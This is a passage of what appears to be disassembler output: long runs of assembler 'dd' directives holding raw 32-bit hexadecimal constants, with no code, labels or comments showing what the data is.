		dd 33D5D390h, 0D40EB854h, 9C3A0A4Ch, 7E7D8B01h,	7860525Ah
		dd 8D214084h, 842BB8CAh, 3199F7C0h, 8BE24A85h, 0EF4C0058h
		dd 2C081799h, 0BC9D3D5h, 0F81333F0h, 5C7C7808h,	39921B49h
		dd 0F274F2E5h, 698E3038h, 3F00347Eh, 8288670Dh,	90F883D9h
		dd 65B04814h, 2946D28h,	5739FBCh, 4C619359h, 92C1839h
		dd 1DD3F9CBh, 18819CE5h, 9A41CB34h, 72665DF0h, 508B027Ch
		dd 0FD70EA8Eh, 0EC9C1C50h, 75720ADCh, 80D4814Fh, 0E7A7D282h
		dd 8395F5BCh, 68590E8h,	0A4CFA861h, 270318FFh, 0EE736B8Dh
		dd 8298E03Bh, 9C1F30F3h, 0B89BA708h, 9962E378h,	79F0F610h
		dd 186471D8h, 0CD737Bh,	885F37AFh, 2BCDAEAh, 0BFA01E04h
		dd 10821AC0h, 4D44109h,	0BCDBF112h, 1A42C58h, 0D1A1CA95h
		dd 246444Ch, 540C4294h,	32467648h, 0D24E007Bh, 9AA98091h
		dd 98B4A53Ch, 684674h, 0DA88024Bh, 15387C2h, 947B9C3Bh
		dd 258FD98Ah, 0F8B82134h, 9E8056B4h, 0F41E0071h, 908AFA91h
		dd 0D0836B69h, 0BE6D854Eh, 7430243Ch, 2600F146h, 7D410F39h
		dd 9EE455D9h, 0BF9FA309h, 45070BCh, 44A4FF0Ah, 0E8001205h
		dd 0A0FB4C2Ah, 9949C1FDh, 0E4BFB153h, 7B1C900Fh, 2A804658h
		dd 0AEDABB0Bh, 0CF040B9Eh, 8CED61B0h, 0AA3C9D60h, 13E4A651h
		dd 4703BA0Bh, 99A8DBD4h, 34E4C845h, 0F215A960h,	778D1300h
		dd 4C124BD8h, 2090902Ah, 0FC122CF9h, 98A27F4Dh,	0DD06D81Dh
		dd 850A7E02h, 7CBC1E26h, 0D505F746h, 81570870h,	45FC920h
		dd 0EF249481h, 2588D424h, 0D8675535h, 0D5603564h, 4E0052C3h
		dd 23BBA9EAh, 5D83A21Bh, 22270D8h, 7E4CBF09h, 3BF006Ah
		dd 1E1F44Bh, 833BEB37h,	83392175h, 7C227BF8h, 8A4AC2Bh
		dd 0A7FF2638h, 8EF34FC0h, 0C232C89Ch, 0E8C09281h, 83802664h
		dd 9BF20095h, 88EF601Dh, 50004317h, 0D409AFDCh,	9E45546Ch
		dd 60039EE8h, 403574F8h, 80801853h, 919F5C88h, 1867D9D0h
		dd 4C4A1233h, 9800A4B0h, 0F00A732Ah, 465EC8BEh,	806900EDh
		dd 70A50FABh, 1B743C82h, 208D9813h, 0EDFCBFC4h,	0AFE2FCA4h
		dd 0A80B5D45h, 2DC03488h, 26AB8914h, 488C1EC6h,	3D580D9Ch
		dd 41B704D1h, 9084D290h, 0B9198550h, 0A85EE703h, 0F24B725h
		dd 8820B468h, 613C501h,	0A816A401h, 0C605F0D7h,	23F03A3Ah
		dd 10216EDh, 59B871Bh, 0C0B56118h, 83951581h, 0E714A664h
		dd 0DC2BAAD1h, 0F9308305h, 4AA29900h, 0E2B287F6h, 713EE93h
		dd 6E32DB9h, 0C11C10E9h, 82604DFAh, 0A62F0971h,	54E55C46h
		dd 8CF5E8h, 44C6D2FEh, 0C79BD914h, 0CAA0A317h, 0EB09B07Ah
		dd 0F0A0E3DEh, 0EE599C0Ch, 0F4FF0B01h, 0FB757F50h, 0FEDCD020h
		dd 91836C08h, 0F3069A10h, 0FF741E82h, 0DDEF3C51h, 30448A80h
		dd 753DAB59h, 43848D04h, 2491A590h, 0F82428EFh,	2E88020Fh
		dd 0FF3B4C2Ch, 22020859h, 0E7F73433h, 60604400h, 1CA49A0h
		dd 15621351h, 0C0ECFF72h, 565EDD89h, 9BD7CC05h,	48009856h
		dd 7C129177h, 0CFC20504h, 82D1EEB7h, 0F8650831h, 65633BE4h
		dd 1054D3AFh, 19D0B1E3h, 5201F496h, 6C3161B6h, 2C3233FCh
		dd 0BD844E84h, 0C3A06464h, 0FC137CACh, 0EDE820A0h, 0F1008094h
		dd 779B68A6h, 79F286h, 40B98797h, 0C9097556h, 58C6A139h
		dd 97A890F0h, 68C87CCBh, 800540C1h, 0A16619C4h,	502D869Ch
		dd 0AA17B600h, 99E3BAE8h, 18228B2Eh, 2E28CD38h,	3B1D181Fh
		dd 0D8B52D21h, 0D7EB0607h, 30D340F0h, 88800CE7h, 3F895059h
		dd 18366CA9h, 0FCCB092Fh, 0BC9C15D3h, 0CB0737F6h, 0CC54537Ah
		dd 4F3C0EC8h, 0E30BF820h, 0CD03086Bh, 47D96A86h, 40583A2Eh
		dd 8B315A00h, 0E7145685h, 39448700h, 96C231Ch, 5C2E0E68h
		dd 4B80E3C8h, 5B20FD45h, 1F002574h, 22E48A23h, 33E2A608h
		dd 33292B37h, 23182140h, 4867E131h, 0DAD007D9h,	512E8A0h
		dd 0A80BA276h, 9EE4C09Ah, 0FA292A3Dh, 2100D485h, 45E11DD3h
		dd 9D79A8h, 753A4415h, 1A7CDB40h, 65DEE81Fh, 3804A097h
		dd 0EE1D4D71h, 9A1E2BCh, 0E4F44529h, 0BEF36064h, 66B0242h
		dd 4190D87Ah, 4BB434AAh, 0B83DB887h, 3A62467Ch,	3BA8BE18h
		dd 11BA12C4h, 890ED0F2h, 0F2008514h, 363190EAh,	0C79C80C4h
		dd 24FBA121h, 3A003E30h, 8D1A10C2h, 1C3F9AAh, 0BE50B53Dh
		dd 6004CAB1h, 8E0921C4h, 6751ED78h, 60366490h, 15910F7h
		dd 0DC13E71Dh, 0C4F6789Eh, 0D12C82F0h, 4E868C74h, 759098Bh
		dd 7960C97h, 0E7FE8F0Dh, 0ECC3186Dh, 824E8902h,	0A8661C40h
		dd 0E43918A3h, 544AA127h
		dd 6800917Bh, 0FE475A15h, 0B654FC9h, 32B5FCD8h,	0D1CE4C22h
		dd 654470EDh, 0B3211960h, 97B1CE0Bh, 54B0E0FFh,	0AEC917E5h
		dd 31A8C807h, 0B3181505h, 0C0C33205h, 9B35F06Ah, 5E83053Fh
		dd 0C1A1E044h, 2869D958h, 8C3AEC54h, 2854C300h,	140DC810h
		dd 0E0C905DCh, 41C787D3h, 8FB183A0h, 0C5A8A7F7h, 605FE488h
		dd 3F3B8633h, 0CD0BD86Ch, 8C183F48h, 0EC72532Bh, 2EC94300h
		dd 0EDCDA266h, 0D16105ADh, 0E205989Fh, 30F9F22Ch, 0D8F0123Bh
		dd 0E30B2425h, 0D43FC880h, 4730227Ch, 0C899A117h, 8491C440h
		dd 9F09C2A4h, 3A00FC3Dh, 7C2FB19Eh, 6B7B0F62h, 1EEBC7A6h
		dd 48957868h, 0E061FE81h, 40C7F860h, 54247EFDh,	629700D9h
		dd 8C7B7C2Fh, 47D82800h, 27BE894Dh, 4FA8F6D2h, 4088D432h
		dd 9E1D50F8h, 8C0025D7h, 0D67148C7h, 36AFD0h, 41977574h
		dd 0A7D4459Fh, 0F8A0BF13h, 132840Bh, 0A507F3C8h, 0B46F3Ah
		dd 0CFD1302Bh, 82059h, 88C5B4E1h, 5ABE053Bh, 4BB51A04h
		dd 84A19C84h, 468343Fh,	93A4CD8h, 0C2BC18CFh, 0FD4301E5h
		dd 0AE8F27FFh, 0A54C301Ch, 3DB04E51h, 8B00B93Ch, 1DF81F0Eh
		dd 0F98BEA9Dh, 0AB46000h, 0F44CD9E7h, 0C884F60h, 0CB33D72Ch
		dd 60515BA0h, 8E18F379h, 0F84AC001h, 9DAED7C8h,	113D98C7h
		dd 8D390061h, 774C898Fh, 3BE62247h, 2F81E899h, 5AB1EE74h
		dd 5FBA2AFCh, 0D8C41E4Bh, 0A86D61FBh, 0C3064400h, 0E5D6AC1Ch
		dd 0B390006Fh, 59803E94h, 0B35BEDh, 0F800FE91h,	2F1AC5D9h
		dd 0E00CC38h, 0BF9EC3D2h, 28A28FEh, 7DF7B482h, 0D4EA8874h
		dd 465E18DEh, 0F5970AF9h, 45A5409Bh, 61F7E464h,	42FEBBDBh
		dd 0D72D8020h, 62981D92h, 496CA0F6h, 59A05112h,	618F0h
		dd 0B27AE612h, 0DEC07BDDh, 19678B12h, 815DF0E0h, 36E47021h
		dd 9BA1A88Bh, 9E49AEDh,	0B42DFC84h, 0F191E41Dh,	148F780h
		dd 8402DECEh, 5E70C8C2h, 16CE486h, 2B9FF07Ah, 0DC3FB5E3h
		dd 0B2007831h, 5B4375E5h, 0DC3E8FFh, 0EB83A184h, 74012F90h
		dd 27B4E7A6h, 88C84431h, 9458418Dh, 0A40C99h, 508662E4h
		dd 4C9BCE9Ah, 5FBC80F0h, 12B9F48Ch, 0E69D9Ah, 0D1791967h
		dd 14BE306Ch, 123FB826h, 0C0A6CC82h, 0F70FFDE0h, 47C31408h
		dd 32F908C6h, 4D84605h,	23A0DCD1h, 0C97D599Fh, 2C2F1CF1h
		dd 0E5F80415h, 800975Bh, 0D1962F62h, 84C500F2h,	2138083h
		dd 910006FEh, 238F7477h, 18C21E6h, 15A34447h, 0E411B7FFh
		dd 0C8002E58h, 43A6CFA8h, 4CCA6435h, 0BC00D91Eh, 0B91991D5h
		dd 0E7004F99h, 0ADE5BF2Bh, 715414h, 7B5E0849h, 94845226h
		dd 2BB7F60Eh, 8B8D6035h, 0F733A6Bh, 4EF565D2h, 4BFF3480h
		dd 1001E7Bh, 8053BBACh,	1351933Fh, 0ED678E1h, 0F4671267h
		dd 0D5CF8136h, 0A35AC409h, 65673Ch, 6855FA32h, 14A141h
		dd 8B5C2B6h, 87BEF266h,	31050B00h, 3F774E12h, 0F78003DDh
		dd 937AF0AEh, 4FEE07E0h, 7BD52400h, 1A520D7Dh, 0B2F500B6h
		dd 8DBA15F2h, 0D672DD36h, 2CF7D4FBh, 0D13FA30Fh, 60AD4E31h
		dd 613444A5h, 0BFB90015h, 23DF0C6Bh, 0CF006A04h, 0C50F7AADh
		dd 11D759h, 1AA29AABh, 2BB3E605h, 6EC4940Ah, 5D9FD83Ch
		dd 0BEF8867Dh, 70D9CE4Ah, 0CCDB0B7Bh, 0C80DE55h, 9509667Dh
		dd 642FC403h, 12177701h, 20517304h, 96CD7D7Ch, 0C6405360h
		dd 387485h, 0BD25E550h,	0E20DACE7h, 822494E0h, 0DB00C4D3h
		dd 46A12C9Fh, 0D17FD4h,	3F566301h, 9261D677h, 0B5888354h
		dd 0AECE3D3Fh, 8500DEA1h, 45A7F147h, 0B17661h, 5854FBE3h
		dd 0EFE5EDC8h, 8AA00E00h, 0DCD2FD2Fh, 0C9860FACh, 200039CAh
		dd 0F5ADE3B9h, 739AA717h, 66E89B06h, 0B7F400B0h, 167A6A97h
		dd 0F175A515h, 76069B1Dh, 0BF1050C0h, 328DB9h, 0ED2081C9h
		dd 0D65D4CE2h, 0FE077600h, 51EAD442h, 0FC9C2AA5h, 0DABD0088h
		dd 3FA70374h, 0B0FEC699h, 6BB42107h, 0FA801017h, 22014Dh
		dd 0E8BB7A44h, 0B4E911AEh, 50A0291Fh, 0D887280h, 1A0AC3h
		dd 20E255CDh, 3C31A9B6h, 0D4009FE2h, 78A8DF72h,	7AB5A41h
		dd 22F250FEh, 7FD74059h, 85001FDBh, 40BAF531h, 0A3FFCCh
		dd 0CF5F06C2h, 67C33BC7h, 4EF0700Eh, 27922054h,	6479116Dh
		dd 0E1C1EFh, 25384AEh, 36890017h, 8FFBA8F1h, 0C500ED95h
		dd 1D9B0467h, 28771DCh,	0E7D1603Eh, 54E0F90Ch, 0E00B8F6h
		dd 5985F893h, 7102DC75h, 0C6050030h, 655F6820h,	7E00C067h
		dd 2B8ED077h, 97A5BEEh,	2144C11h, 0D5668000h, 2D007B4Ah
		dd 0DAD0FE68h, 9427DFFh, 25904597h, 0F3916C00h,	7371EF93h
		dd 70333E00h, 0B3800A0Ch, 6F2A1446h, 6111CC9Dh,	0DAD8005Bh
		dd 3EA80671h, 6F1C009Ch, 0B04CEB68h, 7703F18Dh,	0BF0DC503h
		dd 0D63AC8EEh, 2E9500D5h, 0F47AB3Bh, 0DE00EA7Bh, 0BFD96075h
		dd 1EE7F6FDh, 80B4C221h, 5641116Fh, 0B6007C98h,	0FB659D73h
		dd 1DDBEBBFh, 40E8ADDDh, 39BFD36h, 0CF0396F4h, 0C30B096Eh
		dd 0B390BF22h, 1F8142F1h, 4597A094h, 802FA5B1h,	8AF371E7h
		dd 40EF3800h, 36A2ACFFh, 0CC9A00E9h, 0DE37E44Ch, 127253B9h
		dd 28404060h, 3F236913h, 0A33BB5C3h, 0DCCD6200h, 0FE4F8903h
		dd 4CC7AB0Ah, 0F2008808h, 6D9E5F3Ah, 519C3F28h,	64539B80h
		dd 7DFA5C47h, 21C10C00h, 1BA41595h, 0E12900BDh,	2DF4FD9Eh
		dd 49007811h, 0BE026975h, 0CF7DDE9h, 0B020D7A7h, 0A91DEEFAh
		dd 9785967Dh, 84006887h, 0CB5F0ACh, 0D3743960h,	0ED892D80h
		dd 0FA64A614h, 48C1B0Ch, 6B30FDh, 4307AC93h, 0F1943DC9h
		dd 6B39500h, 0BB2C1B0Fh, 381A59F6h, 0DAEFB703h,	780DB8Bh
		dd 0E8FBA7F4h, 73186B9Ah, 2B10F638h, 84510457h,	8081C1FBh
		dd 0E5B8EE4Ch, 1D77A100h, 0A5D19126h, 0C4BD6136h, 0CA20609Ah
		dd 1CA531E2h, 0E8943170h, 6217024Bh, 97B41036h,	0EA420036h
		dd 18534041h, 0AB3A7211h, 6FE0002Fh, 0FCD8935Dh, 3D580181h
		dd 0D303B4CCh, 0BC8040FDh, 0EF01C65Bh, 0D8BDEDE7h, 0E4453CC8h
		dd 0F80ADD03h, 732598D9h, 6F133F03h, 0A3A6F300h, 0F2AAC516h
		dd 6AE2C003h, 80098161h, 2C766F4Ch, 7439352h, 415E1971h
		dd 0F437F3A9h, 8700459Ah, 6E9E1527h, 123D915Dh,	5A7B7C7Fh
		dd 0BC8079BCh, 0C3AF526h, 6C9EDC00h, 0DA1A1C93h, 420A4C42h
		dd 896DD800h, 5770A27Eh, 32132A00h, 30760BFBh, 905216DCh
		dd 84A10B20h, 28105600h, 7E3B9D03h, 582B807Bh, 7316E581h
		dd 36F301B6h, 0B538CF4Ah, 0C5CEF4FCh, 0ECDFA00h, 8D1E6EA9h
		dd 0A7EE0DB8h, 9F21907Fh, 84AAB29Eh, 1C0025F2h,	0C4DAE4BAh
		dd 1AF75A4h, 29202B4Bh,	0C8743792h, 0BB025AC8h,	9348B51Dh
		dd 80205584h, 0D8C3EA47h, 82F87300h, 0F3B81A51h, 0CE3B12B7h
		dd 68E001FDh, 0FC8C07E3h, 7638ECCAh, 0A1D98699h, 4CA72Eh
		dd 0BA317239h, 0EA218255h, 0D4DE101h, 17910722h, 500CC2Ch
		dd 0A4D3F228h, 8CBA618Ch, 9C3DDAF8h, 0E52E0307h, 0A13EA62Fh
		dd 906C8E63h, 39A0004Eh, 490D7207h, 88214A00h, 7458F6C9h
		dd 0BDF4035Eh, 3365F991h, 3675C6E0h, 4E5B5F00h,	73852E81h
		dd 83350220h, 0C7883752h, 0FB81CCF2h, 90D02A05h, 18CE430Fh
		dd 709C0447h, 96509E2Dh, 2A808210h, 9DEA1480h, 8A000C99h
		dd 0EDD622CAh, 7303FB27h, 7D9B1A35h, 3D0DA8DEh,	2C9300D9h
		dd 20055C10h, 0EB078E98h, 57D38871h, 3D877D90h,	72B81E2Dh
		dd 3E12C123h, 2F7F8437h, 2FD7B7A0h, 28C708D4h, 7F60F464h
		dd 929F3C4Ah, 511CDB38h
		dd 0DDD4F41Bh, 7118B501h, 7696FE66h, 9ED809F5h,	93B60B99h
		dd 0C05B5B08h, 39AC4A70h, 36896726h, 7C52AAFFh,	0FA7E4E18h
		dd 0A82CE589h, 3AEED8h,	0A3749AF0h, 558E959Dh, 5102397Ch
		dd 92887C0Eh, 9FB4800Dh, 2F8B26A9h, 0E097575Eh,	8180F591h
		dd 83A86637h, 0D9252E72h, 1C70F7h, 0EE8E56EBh, 0AED282F4h
		dd 9120179Dh, 0A1F48E63h, 0F11C241Dh, 986F6Eh, 80D67524h
		dd 0C2B36443h, 4CA5FF88h, 70D2FB27h, 84545695h,	0F4A4C7h
		dd 0B3B1CF28h, 809DBDDFh, 82806191h, 0AA4BB0C8h, 8E00A0EAh
		dd 53B6528h, 762919Eh, 7C1B222Dh, 5DE22280h, 34D1F8D9h
		dd 497FF818h, 0BC9AD200h, 1D788025h, 40D0DF4Ah,	0D982B87Dh
		dd 0C8DCDA77h, 30A04CC0h, 140D07B4h, 0E861D82Ch, 0F6B24C53h
		dd 4FF6630h, 6CD42724h,	970B850h, 10732162h, 300114h, 0F8A40FCCh
		dd 0C21079E9h, 980E7F3Fh, 52F6DC96h, 4E55002Ch,	2A71906Fh
		dd 0BD00AF2Fh, 401CDF63h, 0C026E439h, 8A6FD5F1h, 16001E56h
		dd 82A818D9h, 0BF087C2Eh, 0FB8088B5h, 576089AFh, 0FC7230DFh
		dd 0B0F8A1B1h, 9400BEFAh, 0F07DE1D4h, 166149BDh, 8207D984h
		dd 18D61ED4h, 20578662h, 472F4332h, 0FDA08312h,	0D2E4C849h
		dd 0DBFA02CCh, 0AFEBCD9Ch, 2078A07Bh, 5A18007Ch, 8016AA64h
		dd 0A21224DDh, 70A8E4A7h, 18C63ECh, 0BDBF4F6Dh,	456C51E5h
		dd 21E0A4B8h, 5C2B8340h, 320EAA80h, 20F8AC4Ch, 47609C68h
		dd 81085B49h, 14819F2Dh, 6AE4D403h, 64F2D834h, 4030F5B2h
		dd 74C500E9h, 0C7FED871h, 0D12782E1h, 3968E84Fh, 5BA92785h
		dd 4C8C488h, 1C662988h,	402BBE40h, 0C307D72Ch, 0BD70E0A1h
		dd 7E0904CCh, 0E0C0C4DBh, 13A4C851h, 0D3FF2503h, 1401A07Dh
		dd 8431A6D9h, 0AB8D9200h, 7DA81143h, 0B8C45424h, 44E0472Dh
		dd 3C1160F8h, 0B8D8B686h, 27EB7001h, 0F13273BDh, 0B719806Ah
		dd 0EDDD7825h, 67E8C9h,	8AD61251h, 5676F917h, 0B0747E0Ch
		dd 2CE58852h, 81EC5C20h, 0AA635895h, 7B586032h,	9C04CA5Eh
		dd 7507FF9Bh, 76978019h, 0B22D2518h, 3F2060ABh,	9FFF3828h
		dd 0A2DB81E0h, 30B52BB5h, 20C846E4h, 0FE2D2D34h, 0D2881089h
		dd 5D8203B3h, 7EAE88F4h, 0EE4A895h, 90A87C54h, 67658DCFh
		dd 0D4A973h, 0E686BC8Eh, 38715A4h, 368D7099h, 2BE18232h
		dd 0D4F849D8h, 47401198h, 198D149Fh, 4E3F4CE5h,	484468A7h
		dd 49691527h, 24759854h, 29F0073Fh, 90311480h, 0C9D9F8F4h
		dd 0DFA60B06h, 6280654h, 0DA2BBBD2h, 4E01A1FAh,	32E71D8Ah
		dd 22EECE5h, 0A6999F84h, 0F9FF2060h, 7C0464B6h,	5074650h
		dd 0D2EF34DAh, 80F0A8D0h, 8D51D960h, 60FFC18Ah,	277D20E0h
		dd 6C4CA08Fh, 2C5C40F4h, 3B40DC51h, 0E2895C20h,	0A8343F99h
		dd 1059FF80h, 0F6B44806h, 0DC9173E4h, 1987C02h,	26C5608Fh
		dd 0BDFCE2D0h, 183A1499h, 32CA0B22h, 78D91EA6h,	0CA29E060h
		dd 0E7A6254Eh, 94400C4Ah, 0A8D02FB1h, 8C35B828h, 0B4294CB4h
		dd 443F1D80h, 7504EC9h,	0B472302Dh, 0F8FF36C3h,	1D44B797h
		dd 6D964085h, 8CFA8D9h,	8748359Fh, 50D62E6Ch, 0E0B2678Dh
		dd 4EA6FE17h, 8B5D435h,	40579460h, 52007FFAh, 0EA4A43E2h
		dd 0F0F45F22h, 73E83806h, 0C301C160h, 7802DAFAh, 835C0F49h
		dd 9528C491h, 650010B7h, 8A22FB6Bh, 4CD41355h, 0A10C42D8h
		dd 84D4994Fh, 20F4AB12h, 0BC615C95h, 2F8CF9BCh,	0BC44A196h
		dd 0DC66780Eh, 0C330C052h, 1294379Bh, 0B973B25Ah, 0E13F00B0h
		dd 614E08E7h, 0FD3B00CDh, 943DBE5Ch, 52268688h,	0B4264932h
		dd 0D6B0F547h, 63FCBF8Ch, 2FE57983h, 0E991E900h, 7A2DC8B4h
		dd 76A307ACh, 70E360ADh, 97AE94C3h, 6601A225h, 0A07448BCh
		dd 4B315680h, 0FB000906h, 8C4CB4C9h, 79963CBBh,	66C2012Ah
		dd 804DEC21h, 3B090003h, 0B4C02F20h, 25780C2h, 1FD7704h
		dd 0D390C2DCh, 3CD6FFEAh, 506D955Eh, 78D34D40h,	0B14B02F1h
		dd 3CD489B7h, 7F40E074h, 1CA898D0h, 839388BAh, 0E6D353DAh
		dd 0ED6BF380h, 0BC750D04h, 41AFE44Eh, 0FB90CD98h, 0D9B22040h
		dd 7F594B0Fh, 4965428Ah, 91B47460h, 10184C30h, 0C337E86Fh
		dd 84F3C999h, 244470h, 7048D06Fh, 8264D5DEh, 4885B42Fh
		dd 0B9128h, 0DA4DB38h, 0DDF1985Ch, 7D7E1500h, 8B40212h
		dd 0AA0605FAh, 40C9CFh,	0DACA88C8h, 0F9016CBEh,	98807B9Bh
		dd 743A32C5h, 2114BC48h, 0C465A51Ch, 0FA636764h, 0B518828Dh
		dd 0FB9B94A2h, 465068D6h, 0A8668023h, 2B297C04h, 0ABF7BAh
		dd 0DB82F568h, 4C25D9FDh, 0B7440C0h, 97D5222Ch,	75832700h
		dd 0BA1D36FAh, 7C80BA47h, 0BD807C22h, 68912097h, 0C4BD6B85h
		dd 6C328100h, 40012B20h, 38567D8Ch, 444FB470h, 0C50603E3h
		dd 0D15D72Bh, 138F1691h, 0B2E8A646h, 0C8C6303Ah, 0D302BC76h
		dd 0F6459903h, 0C0105D1Ch, 561E706Bh, 1A00C80Fh, 0E60A4F29h
		dd 58F8041Dh, 0AF824495h, 27D00C20h, 61887CDAh,	0E826104Bh
		dd 2EEC2CA0h, 5E100CE0h, 0A1FAAF02h, 0F3071EFFh, 6F43F290h
		dd 0F69E001Dh, 384CDABh, 22096883h, 86F53C28h, 422DCD0h
		dd 43AA0C79h, 0D5BCA4E3h, 568622h, 1EEF0A7Eh, 0F03C2FCAh
		dd 0B8884D4Eh, 1D761283h, 0A0804B82h, 0B1C60C10h, 0CC538B07h
		dd 6C85D184h, 3BB694C0h, 2F2407F1h, 7C2B4DFFh, 31092108h
		dd 5AFBF732h, 74C480E4h, 9438F90Ah, 18CF7BCh, 0FAB2E90Bh
		dd 2885910Ah, 0E79C04A4h, 3BEA1910h, 1F52324h, 4580D883h
		dd 0BE547430h, 6C84B32Dh, 0B435B760h, 1E9B7100h, 78B604Ch
		dd 0C84DD282h, 0A0A80CE8h, 0E71DC42Fh, 60F66414h, 0B97B13h
		dd 0A5AD564Dh, 0C6079CBFh, 0B75C94B5h, 3791B015h, 0AF930092h
		dd 5A63B627h, 940BF126h, 2F1467Ch, 7AEB9512h, 3968404Bh
		dd 35D88055h, 82518239h, 0C9DD54D2h, 1D75AEh, 0A180F011h
		dd 0C141B9D6h, 70DFE91Ch, 0A0DBFE44h, 482088ECh, 0B40ABEE2h
		dd 6454A61Eh, 0DE2F09D6h, 0A0F08386h, 0B5530120h, 7080A818h
		dd 644FCD2Dh, 0B2250884h, 8082F957h, 0D1F14317h, 18617130h
		dd 0D66C004Dh, 711A3765h, 704FD1CEh, 5F883C8Fh,	0C2A04AC0h
		dd 0F684023Ah, 7334C660h, 8E1D80DAh, 29033C0Ah,	0D1EF6Dh
		dd 9309D241h, 630E5AB8h, 0F744699Dh, 65A2E433h,	9B83230h
		dd 0D7D9825Fh, 0F0C194C2h, 54823EDCh, 5BBC4681h, 6F74D073h
		dd 9A171475h, 7702E57Eh, 0C88188E0h, 9C2AF858h,	74893FFCh
		dd 0BC795254h, 1918F8D9h, 70FDD02Eh, 0E664674h,	6556DF33h
		dd 20A8D764h, 0F8E7209Ah, 5A60EC44h, 0B6001884h, 7D6455B2h
		dd 528AE761h, 835E90D9h, 0A45A50h, 5ED1A8D8h, 84744B03h
		dd 103AAE80h, 651CF623h, 73A1DB44h, 7E00D0F9h, 39B534AFh
		dd 0C80097A5h, 0AC3B5977h, 0EE7F3Eh, 1EFCFD4Ah,	5E0CF817h
		dd 1BF97203h, 0C30B6BE3h, 340AA0EBh, 0D400BFA0h, 3BD77184h
		dd 0F8574F02h, 0D66C030Bh, 0B68512Ch, 2939611Ah, 5A1408D4h
		dd 24311A18h, 2D3CD449h, 1E092C46h, 0E561C9D2h,	61F7C4F0h
		dd 40D13CE5h, 0D6B93C79h, 5E2DE4E0h, 20DFA880h,	0B8B3FE9Ch
		dd 844E2003h, 0B6994FD4h, 7A5E0C0h, 0B657046h, 824D9583h
		dd 4C9BE410h, 0A99FDA72h, 0CBDC612Ch, 4A0618Ch,	0D400F929h
		dd 96255EEDh, 9DD3627Ah, 0EC91D0B5h, 0CBB5EE80h, 24007E5Eh
		dd 36F46B11h, 0FBFBB185h, 5578143Fh, 25D82824h,	217090F3h
		dd 728705F5h, 90849882h, 854647Ch, 88280C60h, 0BB6BFB2h
		dd 72B51093h
		dd 75ECD490h, 0E52B4700h, 32BABDF3h, 3A4A98D5h,	0EF50B1BEh
		dd 7DB5273Ch, 0F644C8EDh, 4FC41B60h, 846CD213h,	51CF704Bh
		dd 82FB01F8h, 3B311578h, 6C9B04D0h, 0A7C728A8h,	8CC797BCh
		dd 760F744h, 0A513CD92h, 0FCE8F4D7h, 2C109D5Ah,	8C3BACC8h
		dd 48F63500h, 0B92CCEFFh, 504E749Bh, 71FE4CDAh,	0C248B896h
		dd 0BC5D478h, 97607C6Fh, 3F1C090Ch, 4F84126Dh, 0E2828454h
		dd 6CC24F84h, 608B0050h, 0C895A056h, 76A625Ch, 9CCBDB39h
		dd 7BF3F022h, 0E003D1B6h, 5C4F2AA1h, 61E9A1A6h,	0DBE03876h
		dd 9300A548h, 0D7B798D4h, 59B184CFh, 0D03BF4A7h, 165DCA92h
		dd 0E058A618h, 2D2C3F3Ch, 446690BEh, 0D182F509h, 0BFCFE08h
		dd 0E0735FBDh, 7DF0C0A0h, 25647413h, 0F3B27CF3h, 2AE3830h
		dd 218E508Fh, 805D6D94h, 0FEB3D18Ch, 824E254Dh,	0AAFF04A2h
		dd 2192A0F4h, 37528402h, 4CD044A1h, 5F03FAE0h, 40F6A3E5h
		dd 804EB1F9h, 0CE8C6BC6h, 174F90F3h, 909DFF18h,	486C4C1Ch
		dd 2F2082BFh, 95406E9Ch, 0F1919815h, 113AD380h,	98B55A39h
		dd 26C8460Ch, 42C4FF20h, 18794A35h, 62256811h, 0E4589073h
		dd 1FD700A6h, 0DC3F0F8Ch, 70094BBAh, 0F975F738h, 906D01E0h
		dd 0E48F44B3h, 0B100B73Fh, 5063B0F9h, 663ED2h, 0F13B9CFEh
		dd 23E3D84Dh, 1D9D18B4h, 9EA12630h, 22F92632h, 0BE050054h
		dd 0F4B51334h, 0EFAE8201h, 20A44CD3h, 8440A44Bh, 0B4E29DA1h
		dd 1EDC14FEh, 0B925F493h, 0F32DAA3Fh, 66095CCEh, 844306DCh
		dd 3CE5FB74h, 0C0189A2Eh, 96936DE2h, 0FCDC522Bh, 51BE890Bh
		dd 3D10205Ch, 5468B07Dh, 1694FCD8h, 0A1D1F839h,	88844FC0h
		dd 634BC0F4h, 6B015312h, 0E777E392h, 78206532h,	8BA10BC7h
		dd 0C08BA50Bh, 66F1B4D1h, 75059118h, 55858427h,	89ECB8A9h
		dd 3A01B570h, 0FB2E0171h, 136A7F20h, 0AC04A9B0h, 0D20401CDh
		dd 2FA9848Fh, 136C32F5h, 2C7B2218h, 233B623Fh, 0A0D77B80h
		dd 4590D8DEh, 0EFE06097h, 71A09C1h, 0E4404C52h,	10216C54h
		dd 6C652527h, 696064E4h, 79759ECEh, 8BFE390Ch, 9F86E92Eh
		dd 0AB0DECA0h, 5000AEB4h, 74A804EFh, 0FDC5933h,	3E732D30h
		dd 813CE41Eh, 0F3FDB1A4h, 0F5908228h, 8E584A52h, 0AFFB448Ch
		dd 0D3DC04AAh, 0C9DA02DBh, 88175708h, 58803991h, 6E108E0Ah
		dd 0FE6DEA09h, 7341382h, 81AE5FCCh, 10875961h, 0DC3AD1FAh
		dd 4A0BC8A1h, 1CFEFC13h, 0FF390C07h, 208C59B5h,	2DAE72D3h
		dd 0A4E0A874h, 334FBA1Bh, 0EC4338B2h, 73C078A7h, 1DAC616h
		dd 0D1EE1265h, 2A3F544Ch, 55F64D1h, 7A2E9421h, 8EE11E8Ch
		dd 0A7BFD21Eh, 0AE4C5929h, 0F6465E94h, 68620309h, 0E46468D6h
		dd 1B0C8h, 752C21D5h, 9C2EF8C2h, 0B8E3AB4Bh, 5280F438h
		dd 271DBF6Eh, 0A927938Dh, 448059DEh, 0DFA842F7h, 0A8A5D798h
		dd 9C3C810Ah, 817900F0h, 9D2A749Ah, 0C6BDE417h,	0A6CEAD17h
		dd 2C2B4EC8h, 91006423h, 86378433h, 82520012h, 0E530816Bh
		dd 659D4E3Ch, 0FB238820h, 0D4C0F449h, 96764D00h, 13AB26B8h
		dd 0BDED00DBh, 0B982B1D1h, 9DBD0ACFh, 8060912Ch, 4F7F89A0h
		dd 25EF0267h, 88E90A8Fh, 0F7DF9F40h, 0D7AA3004h, 3BAE8232h
		dd 0F12300h, 0E0E2A268h, 0D30D83A8h, 21F873EEh,	729290F0h
		dd 12B7095h, 91A6F0AFh,	0C088867Fh, 8412770Eh, 0A0CB3722h
		dd 0A0CFF2C8h, 45E21F0h, 0D9B904B5h, 80BE88F4h,	51CF255Ch
		dd 60B35B4Ah, 0D43067E2h, 47C1233h, 0A694F034h,	6E4A3742h
